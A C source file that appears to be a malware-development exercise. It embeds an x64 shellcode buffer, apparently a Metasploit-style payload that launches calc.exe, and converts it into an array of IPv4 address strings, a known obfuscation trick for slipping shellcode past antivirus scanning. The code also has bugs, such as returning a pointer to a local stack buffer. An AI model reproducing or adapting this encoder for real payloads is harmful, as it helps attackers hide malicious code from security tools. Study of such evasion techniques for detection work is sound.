#pragma once #define _CRT_SECURE_NO_WARNINGS #include #include typedef NTSTATUS(NTAPI* fnRtlIpv4StringToAddressA)( PCSTR S, BOOLEAN Strict, PCSTR* Terminator, PVOID Addr ); unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" "\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd" "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0" "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff" "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; SIZE_T Shellcodesize = sizeof(buf) ; // Function takes in 4 raw bytes and returns them in an IPv4 string format char* GenerateIpv4(int a, int b, int c, int d) { unsigned char Output[32]; // Creating the IPv4 address and saving it to the 'Output' variable sprintf(Output, "%d.%d.%d.%d", a, b, c, d); // Optional: Print the 'Output' variable to the console // printf("[i] Output: %s\n", Output); return (char*)Output; } // Generate the IPv4 output representation of the shellcode // Function requires a pointer or base address to the shellcode buffer & the size of the shellcode buffer BOOL GenerateIpv4Output(unsigned char* pShellcode, SIZE_T ShellcodeSize) { // If the shellcode buffer is null or the size is not a multiple of 4, exit if (pShellcode == NULL || ShellcodeSize == NULL || ShellcodeSize % 4 != 0) { printf("Size shellcode doesn't Multiple 4\nYou'r shellcode = %d ", Shellcodesize); return FALSE; } printf("char* Ipv4Array[%d] = { \n\t", (int)(ShellcodeSize / 4)); // We will read one shellcode byte at a time, when the total is 4, begin generating the IPv4 address // The variable 'c' is used to store the number of bytes read. By default, starts at 4. int c = 4, counter = 0; char* IP = NULL; for (int i = 0; i < ShellcodeSize; i++) { // Track the number of bytes read and when they reach 4 we enter this if statement to begin generating the IPv4 address if (c == 4) { counter++; // Generating the IPv4 address from 4 bytes which begin at i until [i + 3] IP = GenerateIpv4(pShellcode[i], pShellcode[i + 1], pShellcode[i + 2], pShellcode[i + 3]); if (i == ShellcodeSize - 4) { // Printing the last IPv4 address printf("\"%s\"", IP); break; } else { // Printing the IPv4 address printf("\"%s\", ", IP); } c = 1; // Optional: To beautify the output on the console if (counter % 8 == 0) { printf("\n\t"); } } else { c++; } } printf("\n};\n\n"); return TRUE; } int main() { GenerateIpv4Output(&buf, Shellcodesize); //Генерация шеллкода в Ipv4 return 0; }